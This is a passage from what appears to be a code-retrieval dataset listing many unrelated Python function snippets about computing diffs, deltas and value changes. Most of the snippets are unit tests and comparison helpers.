Bucket_Op.SUB_DOC_OPS:\n retry_success = \\\n self.durability_helper.retry_for_ambiguous_exception(\n sdk_client, op_type, doc_key, doc_info)\n if not retry_success:\n self.log_failure(\"%s failed in retry for %s\"\n % (op_type, doc_key))\n\n # Display the tables (if any errors)\n table_view.display(\"Unexpected exception during %s\" % op_type)\n ambiguous_table_view.display(\"D_Ambiguous exception during %s\"\n % op_type)\n\n # Release the acquired client\n self.sdk_client_pool.release_client(sdk_client)\n\n # Verify doc count after expected CRUD failure\n self.bucket_util._wait_for_stats_all_buckets(self.cluster,\n self.cluster.buckets)\n self.bucket_util.validate_docs_per_collections_all_buckets(\n self.cluster)\n\n # Fetch latest stats and validate the values are updated\n for node in target_nodes:\n vb_info[\"afterCrud\"][node.ip] = \\\n cbstat_obj[node.ip].vbucket_seqno(self.bucket.name)\n if vb_info[\"init\"][node.ip] == vb_info[\"afterCrud\"][node.ip]:\n self.log_failure(\"vBucket seq_no stats not updated\")\n\n # Disconnect the shell connection\n for node in target_nodes:\n shell_conn[node.ip].disconnect()\n\n self.validate_test_failure()","def diff(self):\n return datetime.datetime.now() - self.stamp","def check_allele_freq_diff(self):\r\n \r\n if not self.old or not self.new:\r\n self.freq_diff = \"NA\"\r\n self.pvalue = \"NA\"\r\n \r\n else:\r\n old_frq = self.old.alt_percent\r\n new_frq = self.new.alt_percent\r\n \r\n if old_frq == 0 or new_frq == 0:\r\n self.freq_diff = \"NA\"\r\n \r\n else:\r\n self.freq_diff = abs(old_frq-new_frq)","def test_format_email_body__update_with_changes(self):\n body_html = notifier.format_email_body(\n True, self.feature_1, self.changes)\n self.assertIn('test_prop', body_html)\n self.assertIn('www.chromestatus.com/feature/%d' % self.feature_1.key.integer_id(),\n body_html)\n self.assertIn('test old value', body_html)\n self.assertIn('test new value', body_html)","def diff(self, other):\n if self is other or self == other:\n # headers are equal, we need 1 byte\n return 0\n\n # difference should be computed for packets with same object_id\n assert self.object_id == other.object_id\n\n if self.stream_id == other.stream_id:\n if self.type == other.type and self.length == other.length:\n # difference only in timestamp, 4 bytes\n return 1\n\n # stream_id matches, we need 8 bytes\n return 2\n \n # we need full header encoded, 12 bytes\n return 3","def test_logentry_change_message_not_json(self):\n logentry = LogEntry(change_message=\"non-JSON string\")\n self.assertEqual(logentry.get_change_message(), logentry.change_message)","def test_updated_ts_lessthan_equal(self):\n survey = SurveyFactory.create()\n\n data = {\n 'experiment_version': '1',\n 'response_version': 1,\n 'person_id': 'joemamma',\n 'survey_id': survey.name,\n 'flow_id': '20141113',\n 'question_id': '1',\n 'updated_ts': self.timestamp(),\n 'question_text': 'how was lunch?',\n 'variation_id': '1',\n }\n\n resp = self.client.post(\n reverse('heartbeat-api'),\n content_type='application/json',\n data=json.dumps(data))\n\n assert resp.status_code == 201\n\n # Test the less-than case.\n data['updated_ts'] = self.timestamp(offset=-10)\n resp = self.client.post(\n reverse('heartbeat-api'),\n content_type='application/json',\n data=json.dumps(data))\n\n assert resp.status_code == 400\n resp_data = json.loads(resp.content)\n assert (\n resp_data['errors']['updated_ts'] ==\n 'updated timestamp is same or older than existing data'\n )\n\n # Test the equal case.\n data['updated_ts'] = self.timestamp()\n resp = self.client.post(\n reverse('heartbeat-api'),\n content_type='application/json',\n data=json.dumps(data))\n\n assert resp.status_code == 400\n resp_data = json.loads(resp.content)\n assert (\n resp_data['errors']['updated_ts'] ==\n 'updated timestamp is same or older than existing data'\n )","def test_score_diff_from_transaction(self):\n good_holdings = {\"good_id\": 2}\n currency_holdings = {\"FET\": 100}\n utility_params = {\"good_id\": 20.0}\n exchange_params = {\"FET\": 10.0}\n tx_fee = 3\n self.ownership_state.init(\n amount_by_currency_id=currency_holdings, quantities_by_good_id=good_holdings\n )\n self.preferences.init(\n utility_params_by_good_id=utility_params,\n exchange_params_by_currency_id=exchange_params,\n tx_fee=tx_fee,\n )\n tx_message = TransactionMessage(\n performative=TransactionMessage.Performative.PROPOSE_FOR_SETTLEMENT,\n skill_callback_ids=[PublicId(\"author\", \"a_skill\", \"0.1.0\")],\n tx_id=\"transaction0\",\n tx_sender_addr=\"agent_1\",\n tx_counterparty_addr=\"pk\",\n tx_amount_by_currency_id={\"FET\": -20},\n tx_sender_fee=self.preferences.transaction_fees[\"seller_tx_fee\"],\n tx_counterparty_fee=self.preferences.transaction_fees[\"buyer_tx_fee\"],\n tx_quantities_by_good_id={\"good_id\": 10},\n info={\"some_info_key\": \"some_info_value\"},\n ledger_id=\"fetchai\",\n tx_nonce=\"transaction nonce\",\n )\n\n cur_score = self.preferences.get_score(\n quantities_by_good_id=good_holdings, amount_by_currency_id=currency_holdings\n )\n new_state = self.ownership_state.apply_transactions([tx_message])\n new_score = self.preferences.get_score(\n quantities_by_good_id=new_state.quantities_by_good_id,\n amount_by_currency_id=new_state.amount_by_currency_id,\n )\n dif_scores = new_score - cur_score\n score_difference = self.preferences.get_score_diff_from_transaction(\n ownership_state=self.ownership_state, tx_message=tx_message\n )\n assert (\n score_difference == dif_scores\n ), \"The calculated difference must be equal to the return difference from the function.\"","def test_modified(self):\n self.channel.lineReceived(\"If-Modified-Since: %s\"\n % http.datetimeToString(1))\n self.channel.lineReceived('')\n result = self.transport.getvalue()\n self.failUnlessEqual(httpCode(result), http.OK)\n self.failUnlessEqual(httpBody(result), \"correct\")","def test_timestamp_is_negative():\n mock_message.timestamp = Mock(return_value=(1, -1))\n new_message = Message(mock_message)\n\n assert new_message.value == mock_message.value()\n assert new_message._raw == mock_message\n assert new_message._meta.key == mock_message.key()\n assert new_message._meta.partition == mock_message.partition()\n assert new_message._meta.offset == mock_message.offset()\n assert new_message._meta.topic == mock_message.topic()\n assert new_message._meta.timestamp is None\n assert new_message._meta.datetime is None","async def difference(self, ctx, *, query):\n if not query:\n query = \"X Y\"\n urlquery = '+'.join(query.split())\n emb = hf.green_embed(f\"A lot of 'what is the difference between X and Y' kinds of questions can be answered \"\n f\"by typing something like the following into google (click the links to see the \"\n f\"search results):\\n\\n\"\n f\"['Japanese {query} difference']\"\n f\"(https://www.google.com/search?q=japanese+{urlquery}+difference)\\n\"\n f\"['{query} difference']\"\n f\"(https://www.google.com/search?q={urlquery}+difference)\\n\"\n f\"['{query} 違い']\"\n f\"(https://www.google.com/search?q={urlquery}+違い)\\n\"\n )\n await hf.safe_send(ctx, embed=emb)","def test_delta_val2(self):\n d = Delta(\"+2.5-1.5\")\n self.assertEqual(d.cmp(0, 1), False)\n self.assertEqual(d.cmp(1, 3), False)\n self.assertEqual(d.cmp(3, 1), True)","def compare(self, other_sequence):\n response = []\n if self.name != other_sequence.name:\n response.append('DIFF: Sequence names: %s' % self.name)\n response.append('and %s' % other_sequence.name)\n if self.increment_by != other_sequence.increment_by:\n response.append('DIFF: Increment interval')\n response.append('is %d,' % self.increment_by)\n response.append('for %s' % other_sequence.name)\n response.append('it is %d' % other_sequence.increment_by)\n if self.min_value != other_sequence.min_value:\n response.append('DIFF: Min value is %d' % self.min_value)\n response.append(' for %s' % other_sequence.name)\n response.append('it is %d' % other_sequence.min_value)\n if self.max_value != other_sequence.max_value:\n response.append('DIFF: Max value is %d' % self.max_value)\n response.append(', for %s ' % other_sequence.name)\n response.append('it is %d' % other_sequence.max_value)\n # The only attribute we don't check is currval, becuase it will be \n # different in 999 cases out of a 1000\n return response","def _its_remaining_time(cls, prefix, timeout, from_start_time):\n already_passed = time.time() - from_start_time\n remain_time = timeout - already_passed\n if remain_time < 0.0:\n remain_time = 0.0\n msg = \"{} {:.3f} [sec], already passed {:.3f} [sec]\".format(prefix, remain_time, already_passed)\n return remain_time, msg","async def test_duration_replacement(self):\n message = \"Current. The following should be replaced: {channel}.\"\n await self.cog.send_message(message, *self.text_channels, alert_target=False)\n\n updated_message = message.format(channel=self.text_channels[0].mention)\n self.text_channels[0].send.assert_awaited_once_with(updated_message)\n self.text_channels[1].send.assert_not_called()","def test_difference(self, client):\n\n expected = {\n 'a': [0,2,4,6,8],\n 'b': [4,6,8,10,12,14,16],\n 'result': [0, 2]\n }\n\n res = client.post('/api/v1/difference', json={'a': expected['a'], 'b': expected['b'] })\n assert res.status_code == 200\n assert res.json['data'] == expected['result']\n assert res.json['status'] == 2000","def PostProcessDiff(self, diff):\r\n return diff","def check_diff(self, primary_perfdata):\n exist, contains = self.cache.check_if_exists_and_contains(self.io_key)\n compare_results = {}\n\n if exist:\n result_to_compare = self.cache.get_pickled_dict(self.io_key)\n compare_results['result1'] = result_to_compare\n compare_results['result2'] = primary_perfdata\n else:\n self.cache.set_pickled_dict(self.io_key, primary_perfdata, expire=COMPARISON_TTL)\n raise CheckError('No data to compare with')\n\n self.cache.set_pickled_dict(self.io_key, compare_results['result2'], expire=COMPARISON_TTL)\n\n return self.compare_results_data(compare_results['result1'], compare_results['result2'])","def __compare_results(self, expected, result, test_case, time):\n # type: (str, str, str, datetime.datetime) -> None\n if expected == result:\n self.pass_test(test_case, time)\n else:\n self.fail_test(test_case, time,\n error=\"(expected:received) (\" + expected + \":\" +\n result + \")\")","def check_errorCue_delays(data, **_):\n metric = np.nan_to_num(data[\"errorCue_times\"] - data[\"errorCueTrigger_times\"], nan=np.inf)\n passed = ((metric <= 0.0015) & (metric > 0)).astype(float)\n passed[data[\"correct\"]] = metric[data[\"correct\"]] = np.nan\n assert data[\"intervals\"].shape[0] == len(metric) == len(passed)\n return metric, passed","def cmpDelta(self, conn1, sql1, conn2, sql2, delta_perc):\n for row in self.get_query_results(conn1, sql1):\n res1 = row[0]\n for row in self.get_query_results(conn2, sql2):\n res2 = row[0]\n self.log.info(\n \"cmpDelta:: task: {}, value1: {}, value2: {}\".format(\n self.task_id, str(res1), str(res2)\n )\n )\n\n try:\n if (abs(res1 - res2) / res1) * 100 > delta_perc:\n raise AirflowException(\n f\"\"\"EtlValidation cmpDeltaError: Query results delta greater than {delta_perc}%\nQuery 1:\n{sql1}\nResult: {res1}\n<>\nQuery 2:\n{sql2}\nResult: {res2}\"\"\"\n )\n except ZeroDivisionError:\n if res1 != res2:\n raise AirflowException(\n f\"Ran into ZeroDivisionError where res1 = 0 and res2 = {res2}\"\n )","def test_delta_val5(self):\n d = Delta(\"+-25=%\")\n self.assertEqual(d.cmp(0, 1), False)\n self.assertEqual(d.cmp(8, 4), True)\n self.assertEqual(d.cmp(8, 6), True)","def test_message_roundtrip(self):\n with open(MESSAGES_LOG_FILE, \"rb\") as fd:\n for line in fd:\n timestamp, msg_data = line.split(b\",\", 1)\n assert msg_data.endswith(b\"\\r\\n\")\n msg = message.fromString(msg_data)\n recovered_msg_data = message.toString(msg)\n\n # Ideally, I would like to be able to check msg_data agsint\n # the recovered_msg_data but because of string stripping this\n # is not possible.\n # self.assertEqual(recovered_msg_data, msg_data)\n\n # Therefore convert the recovered string back into a message\n # object and compare that.\n recovered_msg = message.fromString(recovered_msg_data)\n self.assertEqual(recovered_msg, msg)","def test4(self):\n i = 0\n while i < 2**5:\n message = i * 'a'\n res = self.compare(message)\n if res is not None:\n d1, d2 = res\n self.print_diff(message, d1, d2)\n assert res is None\n i += 1","def test_frame_change(self):\n cmd = FrameChange(phase=0.1)\n instruction = cmd(MeasureChannel(0))\n\n qobj = PulseQobjInstruction(name='fc', ch='m0', t0=0, phase=0.1)\n converted_instruction = self.converter(qobj)\n\n self.assertEqual(converted_instruction.timeslots, instruction.timeslots)\n self.assertEqual(converted_instruction.instructions[0][-1].command, cmd)","async def handle_less(message: types.Message):\n await handle_change_threshold(message, 1 / 1.5)","def time_difference(sorted_upd):\n keys = []\n values = []\n for i in range(len(sorted_upd) - 1):\n difference = sorted_upd[i + 1]['timestamp'] - sorted_upd[i]['timestamp']\n if difference > float(Config.BOUNDARY):\n keys.append((sorted_upd[i]['timestamp'], sorted_upd[i + 1]['timestamp']))\n values.append(difference)\n time_diff = dict(zip(keys, values))\n Config.ANALYSIS.write(f\"regular time greater than {Config.BOUNDARY}s: {time_diff}\\n\\n\")\n return time_diff","def test2(self):\n cases = (\n \"123\",\n \"1234\",\n \"12345\",\n \"123456\",\n \"1234567\",\n \"12345678\",\n \"123456789 123456789 123456789 \",\n \"123456789 123456789 \",\n \"123456789 123456789 1\",\n \"123456789 123456789 12\",\n \"123456789 123456789 123\",\n \"123456789 123456789 1234\",\n \"123456789 123456789 123456789 1\",\n \"123456789 123456789 123456789 12\",\n \"123456789 123456789 123456789 123\",\n \"123456789 123456789 123456789 1234\",\n \"123456789 123456789 123456789 12345\",\n \"123456789 123456789 123456789 123456\",\n \"123456789 123456789 123456789 1234567\",\n \"123456789 123456789 123456789 12345678\",\n )\n\n for i in range(len(cases)):\n res = self.compare(cases[i][0])\n if res is not None:\n d1, d2 = res\n message = cases[i][0]\n self.print_diff(message, d1, d2)\n assert res is None","def getMasterDiff(new, old):\n diff = ethercat_monitor.msg.EtherCATMasterStatus()\n diff.sent = new.sent - old.sent\n diff.dropped = new.dropped - old.dropped\n diff.late = new.late - old.late\n diff.unassigned_drops = new.unassigned_drops - old.unassigned_drops\n return diff","def test_check_replication_crit_lag(self, mock_timestamp):\n base_url = 'http://localhost:6000/recon/'\n jdata = b'{\"replication_last\": 1493299546.629282, ' \\\n b'\"replication_stats\": {\"no_change\": 0, \"rsync\": 0, ' \\\n b'\"success\": 0, \"failure\": 0, \"attempted\": 0, \"ts_repl\": 0, ' \\\n b'\"remove\": 0, \"remote_merge\": 0, \"diff_capped\": 0, ' \\\n b'\"start\": 1493299546.621624, \"hashmatch\": 0, \"diff\": 0, ' \\\n b'\"empty\": 0}, \"replication_time\": 0.0076580047607421875}'\n pmock_jdata = PropertyMock(return_value=jdata)\n mock_timestamp.return_value = (MagicMock(days=0, seconds=12), 0)\n with patch('urllib.request.urlopen') as mock_urlopen:\n mock_urlopen.return_value = MagicMock(read=pmock_jdata)\n result = check_replication(base_url, [4, 10, 4, 10])\n self.assertEqual(result,\n [(STATUS_CRIT,\n \"'{}' replication lag is \"\n \"12 seconds\".format(repl))\n for repl in ('account', 'object', 'container')])","def test_calculate_supervisory_delta_put(self):\n SDP = calculate_supervisory_delta_put()\n \n self.assertEqual(SDP, -0.27)","def assertTPsEqual(self, tp1, tp2):\n self.assertEqual(tp1, tp2, tp1.diff(tp2))\n self.assertTrue(fdrutilities.tpDiff2(tp1, tp2, 1, False))","def test_ddiff_v2(self):\n print \"\\n\"\n for d in ddiff_v2(a, b): print d\n self.assertEqual(d, \"+FUN\")","def _ValueMismatch(how_much):\n return 'Values mismatch, %s' % how_much","def get_delay_diff(self):\n if type(self.apply_delay) is not int:\n err = 'ReplicationDelay().get_delay_diff(): '\\\n 'the self.apply_dilay should be an integer'\n raise ValueError(err)\n\n if self.current_time_lag_min:\n self.delay_diff = self.apply_delay - self.current_time_lag_min\n return self.delay_diff\n else:\n # Delay setting not found in a recovery.conf,\n # or a database is not in recovery mode:\n return 0","def differences(actual, expected, f_actual, f_expected):\n if not actual.equals(expected):\n msg = \"COMPARE RESULTS DIFFER\\n\"\n msg += \"-------------------------------------------------\\n\"\n msg += \"--- NEW RESULTS IN {} FILE ---\\n\"\n msg += \"--- if new OK, copy {} to ---\\n\"\n msg += \"--- {} ---\\n\"\n msg += \"--- and rerun test. ---\\n\"\n msg += \"-------------------------------------------------\\n\"\n raise ValueError(msg.format(f_actual, f_actual, f_expected))","def test_delta_val6(self):\n d = Delta(\"+50-25=%\")\n self.assertEqual(d.cmp(0, 1), False)\n self.assertEqual(d.cmp(8, 4), True)\n self.assertEqual(d.cmp(8, 6), True)\n self.assertEqual(d.cmp(6, 8), False)\n self.assertEqual(d.cmp(6, 9), True)","def test_numprops_different_pct(self):\n # Perform diff.\n minus, plus = 10, 20\n df = Differ(\n key=\"name\", deltas={\"energy\": Delta(\"+{}-{}=%\".format(plus, minus))}\n )\n d = df.diff(*self.engines)\n\n # Calculate expected results.\n def is_different(a, b):\n pct = 100.0 * (b - a) / a\n return pct <= -minus or pct >= plus\n\n changed = sum((int(is_different(e[0], e[1])) for e in self.energies))\n\n # Check results.\n if len(d[Differ.CHANGED]) != changed:\n result = d[Differ.CHANGED]\n msg = \"Values:\\n\"\n for i, e in enumerate(self.energies):\n if not is_different(*e):\n continue\n msg += \"{:d}) {:f} {:f}\\n\".format(i, e[0], e[1])\n msg += \"Result:\\n\"\n for i, r in enumerate(result):\n msg += \"{:d}) {} {}\\n\".format(i, r[\"old\"], r[\"new\"])\n self.assertEqual(len(d[Differ.CHANGED]), changed, msg=msg)","def validated(old, new):\n return ((old.get('last_valid_on'), old.get('last_invalid_on')) !=\n (new.get('last_valid_on'), new.get('last_invalid_on')))","def test_ddiff_v1(self):\n print \"\\n\"\n for d in ddiff_v1(a, b): print d\n self.assertEqual(d, \"+FUN\")","def test_delta_val4(self):\n d = Delta(\"+-25%\")\n self.assertEqual(d.cmp(0, 1), False)\n self.assertEqual(d.cmp(8, 4), True)\n self.assertEqual(d.cmp(8, 6), False)","def testCalculateTranslationDiff(self):\n # Test Identity\n transform1 = numpy.eye(4)\n transform2 = numpy.eye(4)\n (result, _) = self.evaluator._calculateDifference(transform1, transform2)\n self.assertEqual(result, 0.0)\n # Test nonzero\n vector1 = numpy.array([3.0, 4.0, 5.0]).transpose()\n transform1[0:3, 3] = vector1\n vector2 = numpy.array([-10.0, -11.5, -12.75]).transpose()\n transform2[0:3, 3] = vector2\n (result, _) = self.evaluator._calculateDifference(transform1, transform2)\n self.assertAlmostEqual(result, 26.9130545, 6)\n # Order shouldn't matter\n (result, _) = self.evaluator._calculateDifference(transform2, transform1)\n self.assertAlmostEqual(result, 26.9130545, 6)","def compare_fields(command, old_object, new_object, fields, update=False):\n differences = []\n for field in fields:\n if not compare_values_for_equality(getattr(old_object, field),\n getattr(new_object, field)):\n differences.append('{} previously recorded as {}, '\n 'now {}'\n .format(field,\n str(getattr(old_object, field)),\n str(getattr(new_object, field))))\n if update:\n setattr(old_object, field, getattr(new_object, field))\n old_object.save()\n\n if differences:\n command.stderr.write(\n 'WARNING: Record {} had these changes: {}\\n'\n .format(str(new_object), str([d for d in differences])))\n\n if update:\n command.stderr.write(\n '\\tThe database was updated to reflect the changes\\n\\n')\n else:\n command.stderr.write(\n '\\tThe database was NOT updated to reflect the changes\\n\\n')\n return False\n\n else:\n return True","def remaining_ms():","def test_diferencia_porcentual_menor(self):\r\n valorNuevo = 10\r\n valorAnterior = 0\r\n self.assertEqual(diferenciaPorcentual(valorNuevo, valorAnterior), -999999)","def test_logentry_change_message(self):\n post_data = {\n \"site\": self.site.pk,\n \"title\": \"Changed\",\n \"hist\": \"Some content\",\n \"created_0\": \"2008-03-12\",\n \"created_1\": \"11:54\",\n }\n change_url = reverse(\n \"admin:admin_utils_article_change\", args=[quote(self.a1.pk)]\n )\n response = self.client.post(change_url, post_data)\n self.assertRedirects(response, reverse(\"admin:admin_utils_article_changelist\"))\n logentry = LogEntry.objects.filter(\n content_type__model__iexact=\"article\"\n ).latest(\"id\")\n self.assertEqual(logentry.get_change_message(), \"Changed Title and History.\")\n with translation.override(\"fr\"):\n self.assertEqual(\n logentry.get_change_message(), \"Modification de Title et Historique.\"\n )\n\n add_url = reverse(\"admin:admin_utils_article_add\")\n post_data[\"title\"] = \"New\"\n response = self.client.post(add_url, post_data)\n self.assertRedirects(response, reverse(\"admin:admin_utils_article_changelist\"))\n logentry = LogEntry.objects.filter(\n content_type__model__iexact=\"article\"\n ).latest(\"id\")\n self.assertEqual(logentry.get_change_message(), \"Added.\")\n with translation.override(\"fr\"):\n self.assertEqual(logentry.get_change_message(), \"Ajout.\")","def utility_diff_from_transaction(\n self, ownership_state: BaseOwnershipState, tx_message: TransactionMessage\n ) -> float:\n assert self.is_initialized, \"Preferences params not set!\"\n ownership_state = cast(OwnershipState, ownership_state)\n current_score = self.utility(\n quantities_by_good_id=ownership_state.quantities_by_good_id,\n amount_by_currency_id=ownership_state.amount_by_currency_id,\n )\n new_ownership_state = ownership_state.apply_transactions([tx_message])\n new_score = self.utility(\n quantities_by_good_id=new_ownership_state.quantities_by_good_id,\n amount_by_currency_id=new_ownership_state.amount_by_currency_id,\n )\n score_difference = new_score - current_score\n return score_difference","def test_transfer(self):\n class MockSender(object):\n def evolve(self, t, dt):\n self.x = t**2 + t + 1\n\n class MockReceiver(object):\n def __init__(self):\n self.rec = None\n\n def evolve(self, t, dt):\n pass\n\n S = MockSender()\n R = MockReceiver()\n C = Connector(S, 'x', R, 'rec', order=0.5)\n\n tmax = 10.0\n dt = 0.1\n\n M = simulation.StateMonitor(R, 'rec')\n\n sim = simulation.Simulation(S, R, C, M, dt=dt)\n sim.run(tmax)\n\n expected = (M.t**2 + M.t + 1)\n\n self.assertAlmostEqual(np.mean(np.abs(expected - M.rec[0])), 0.0)","def confirm_unchanged(packet, original, protocol, changed):\n for header in packet.layers:\n if packet.layers[header].protocol != protocol:\n continue\n for field in packet.layers[header].fields:\n # Skip checking the field we just changed\n if field in changed or field == \"load\":\n continue\n assert packet.get(protocol.__name__, field) == original.get(protocol.__name__, field), \"Tamper changed %s field %s.\" % (str(protocol), field)\n return True","def lightening_reply_tally(user_name, msg_logs, scorecard_map):\n if not msg_logs:\n return\n\n prev_msg_ts = 0\n is_prev_msg_outgoing = is_my_outgoing_msg(ujson.loads(msg_logs[0][0]))\n\n for row in msg_logs:\n msg = ujson.loads(row[0])\n msg_ts = msg['CreateTime']\n time_delta = msg_ts - prev_msg_ts\n\n if is_my_outgoing_msg(msg):\n if not is_prev_msg_outgoing and time_delta <= ONE_MIN:\n # I replied quickly, bump my p value\n scorecard_map[user_name].my_pval += (60 - time_delta) / 120\n else:\n if is_prev_msg_outgoing and time_delta <= ONE_MIN:\n # Someone replied quickly, bump their p value\n scorecard_map[user_name].their_pval += (60 - time_delta) / 120\n\n prev_msg_ts = msg_ts\n is_prev_msg_outgoing = is_my_outgoing_msg(msg)","def diff(self):\n\t\tif len(self.v) < 4:\n\t\t\treturn None\n\t\tif self.poli == None:\n\t\t\tself.generar_polinomio()\n\t\tif x != None:\n\t\t\treturn diff(self.poli)(x)\n\t\treturn diff(self.poli)","def test_delta_minus(self):\n d = Delta(\"-50\")\n self.assertEqual(d.cmp(0, 50), False)\n self.assertEqual(d.cmp(51, 0), True)\n self.assertEqual(d.cmp(5, 10), False)\n d = Delta(\"-50=\")\n self.assertEqual(d.cmp(50, 0), True)\n d = Delta(\"-50%\")\n self.assertEqual(d.cmp(25, 10), True)\n self.assertEqual(d.cmp(10, 25), False)","def recv_expect_line2(self, expected_msg):\n response = self.send_life_soc.recv(self.packet_len).decode('utf-8')\n if response != expected_msg:\n raise ValueError('Error: Invalid response from server, expecting %s got %s' % (expected_msg, response))","def patch_data():\n return json.loads('{\"success\":true, \"message\":\"Field of data updated (but not really)\" }')","def changed(self):\r\n return self.value != self.previous_value","def changed(self):\r\n return self.value != self.previous_value","def test_travel_down_with_updates(self):\n travelcalculator = TravelCalculator(25, 50)\n with patch(\"time.time\") as mock_time:\n mock_time.return_value = 1580000000.0\n travelcalculator.set_position(40)\n travelcalculator.start_travel(100) # 15 seconds to reach 100\n\n # time not changed, still at beginning\n assert travelcalculator.current_position() == 40\n assert not travelcalculator.position_reached()\n assert travelcalculator.travel_direction == TravelStatus.DIRECTION_DOWN\n\n mock_time.return_value = 1580000002.0\n assert travelcalculator.current_position() == 48\n assert not travelcalculator.position_reached()\n # update from bus matching calculation\n travelcalculator.update_position(48)\n assert travelcalculator.current_position() == 48\n assert not travelcalculator.position_reached()\n\n mock_time.return_value = 1580000010.0\n assert travelcalculator.current_position() == 80\n assert not travelcalculator.position_reached()\n # update from bus not matching calculation takes precedence (1 second slower)\n travelcalculator.update_position(76)\n assert travelcalculator.current_position() == 76\n assert not travelcalculator.position_reached()\n # travel time extended by 1 second due to update from bus\n mock_time.return_value = 1580000015.0\n assert travelcalculator.current_position() == 96\n assert not travelcalculator.position_reached()\n mock_time.return_value = 1580000015.0 + 1\n assert travelcalculator.current_position() == 100\n assert travelcalculator.position_reached()","def _cached_state_diff_message(event: Event) -> str:\n return message_to_json(\n {\"id\": IDEN_TEMPLATE, \"type\": \"event\", \"event\": _state_diff_event(event)}\n )"],"string":"[\n \"def check_diff(self,game,wanted_diff,wanted_starting_time=''):\\n return True\",\n \"def _diff(self, param, diff):\\n pass\",\n \"def check_compare_decrease(out_fields):\\n change = out_fields[CHANGE_FLD]\\n expected_change = -25.00\\n check_compare(change, expected_change)\\n check_float_value(change, CHANGE_FLD)\",\n \"def _are_value_different(self, old, new, key):\\n\\n if self.config.name in ['Amazon.com', 'Amazon.co.uk'] and key == 'price':\\n old_price = float(sub('[^\\\\d.]+', '', old))\\n new_price = float(sub('[^\\\\d.]+', '', new))\\n different = not (0.98 < old_price / new_price < 1.02 or abs(old_price - new_price) < 5)\\n return different, '%s from %s to %s' % (key, old, new)\\n\\n if key == 'description':\\n diff = html_diff(old, new)\\n if '<del>' in diff or '<del>' in diff:\\n return True, diff\\n else:\\n return False, None\\n\\n return old != new, '%s from %s to %s' % (key, old, new)\",\n \"def self_test_diff(message):\\n global failed_tests\\n\\n if result != correct:\\n failed_tests += 1\\n print module_banner\\n print \\\"test case failed, diff follows:\\\"\\n print diff(correct, result)\\n print\",\n \"def diff(self, content):\\n\\n self.differ.set_seq2(self.make_hash_sequence(content))\\n percent_diff = (1.0 - self.differ.ratio()) * 100.0\\n percent_diff = 1 if 0 < percent_diff < 1 else int(round(percent_diff, 0))\\n\\n if percent_diff != 0 and len(content) < self.expected_length:\\n percent_diff *= -1\\n\\n return percent_diff\",\n \"def test_value_change(self):\\n before = self.data.diffusion_data[:, :, 0, 0]\\n after = module_05.run_module(self.data).diffusion_data[:, :, 0, 0]\\n self.assertFalse(np.all(before == after))\",\n \"def test_new_log_diff():\\n assert get_clip(audlist, log, 1) != get_clip(audio['NTF'], log, 1)\",\n \"def self_test_diff(message):\\n global failed_tests\\n\\n if result != correct:\\n failed_tests += 1\\n print(module_banner)\\n print(\\\"test case failed, diff follows:\\\")\\n print(diff(correct, result))\",\n \"def get_field_diff(self, field_name):\\n return self.diff.get(field_name, None)\",\n \"def get_field_diff(self, field_name):\\n return self.diff.get(field_name, None)\",\n \"def _fake_message_compare(m1, m2):\\r\\n m1 = m1.serialize()\\r\\n m2 = m2.serialize()\\r\\n diff = False\\r\\n for i in range(len(m1)):\\r\\n if m1[i] is None:\\r\\n continue\\r\\n if m1[i] != m2[i]:\\r\\n diff = True\\r\\n break\\r\\n return not diff\",\n \"def check_compare_grow(out_fields):\\n change = out_fields[CHANGE_FLD]\\n expected_change = 50.00\\n check_compare(change, expected_change)\\n check_float_value(change, CHANGE_FLD)\",\n \"def test_get_game_diff(self):\\n pass\",\n \"def test9(self):\\n sig1 = np.array([0, 1, 0])\\n sig2 = np.array([0, 0, 1, 0])\\n d, p = EventSync.estimate_delay(sig1, sig2)\\n self.assertTrue(d == -1)\",\n \"def test4(self):\\n sig1 = np.array([0, 1, 0])\\n sig2 = np.array([0, 0, 1])\\n d, p = EventSync.estimate_delay(sig1, sig2)\\n self.assertTrue(d == -1)\",\n \"def diff_measure(diff_function,measureA,measureB,obj,Qfilter=None,**options):\\n\\tresultA=diff_function(measure=measureA,obj=obj,Qfilter=Qfilter,**options)\\n\\tresultB=diff_function(measure=measureB,obj=obj,Qfilter=Qfilter,**options)\\n\\ttry:\\n\\t\\tresult=resultA-resultB\\n\\texcept:\\n\\t\\tresult=np.nan\\n\\treturn result\",\n \"async def subtract(message, number1: ParamType.NUMBER, number2: ParamType.NUMBER):\\n diff = number1 - number2\\n return \\\"difference = \\\" + str(diff)\",\n \"def test2(self):\\n sig1 = np.array([0, 1, 0, 0])\\n sig2 = np.array([0, 1, 0])\\n d, p = EventSync.estimate_delay(sig1, sig2)\\n self.assertTrue(d == 0)\",\n \"def test_compare_security_log_report_in_interval(self, mock_send_cli_cmd):\\n self.log.display_title(title=self.tool.get_current_function_name())\\n self.log.step_num = 0\\n msg = \\\"Compare in interval result\\\"\\n response = [{'security-log-report-in-interval-all': '0',\\n 'security-log-report-in-interval-denied': '0',\\n 'security-log-report-in-interval-time': '2017-02-22T14:15:20'},\\n {'security-log-report-in-interval-all': '0',\\n 'security-log-report-in-interval-denied': '0',\\n 'security-log-report-in-interval-time': '2017-02-22T14:15:30'}\\n ]\\n\\n #mock_send_cli_cmd.return_value = self.xml.xml_string_to_dict(xml_str=response)\\n self.log.display(level=\\\"INFO\\\", msg=\\\"get security log report in interval dict value\\\")\\n result = self.ins.compare_security_log_report_in_interval(\\n device=None,\\n content=response,\\n time=[\\\"2017-02-22T14:15:20\\\", \\\"2017-02-22T14:15:30\\\"],\\n denied_number=[\\\"0\\\", \\\"0\\\"],\\n all_number=[\\\"0\\\", \\\"0\\\"]\\n )\\n self.assertTrue(result)\\n\\n msg = \\\"Compare in interval result with error\\\"\\n response = [{'security-log-report-in-interval-all': '0',\\n 'security-log-report-in-interval-denied': '0',\\n 'security-log-report-in-interval-time': '2017-02-22T14:15:20'},\\n {'security-log-report-in-interval-all': '0',\\n 'security-log-report-in-interval-denied': '0',\\n 'security-log-report-in-interval-time': '2017-02-22T14:15:30'}\\n ]\\n\\n #mock_send_cli_cmd.return_value = self.xml.xml_string_to_dict(xml_str=response)\\n self.log.display(level=\\\"INFO\\\", msg=\\\"get security log report in interval dict value\\\")\\n result = self.ins.compare_security_log_report_in_interval(\\n device=None,\\n content=response,\\n time=[\\\"2017-02-22T14:15:20\\\", \\\"2017-02-22T14:15:50\\\"],\\n denied_number=[\\\"0\\\", \\\"1\\\"],\\n all_number=[\\\"2\\\", \\\"0\\\"]\\n )\\n self.assertFalse(result)\",\n \"def get_diff(*args, **kwargs):\\n return get_diff_async(*args, **kwargs).get_result()\",\n \"def test_changed_status_text(self):\\n scale = 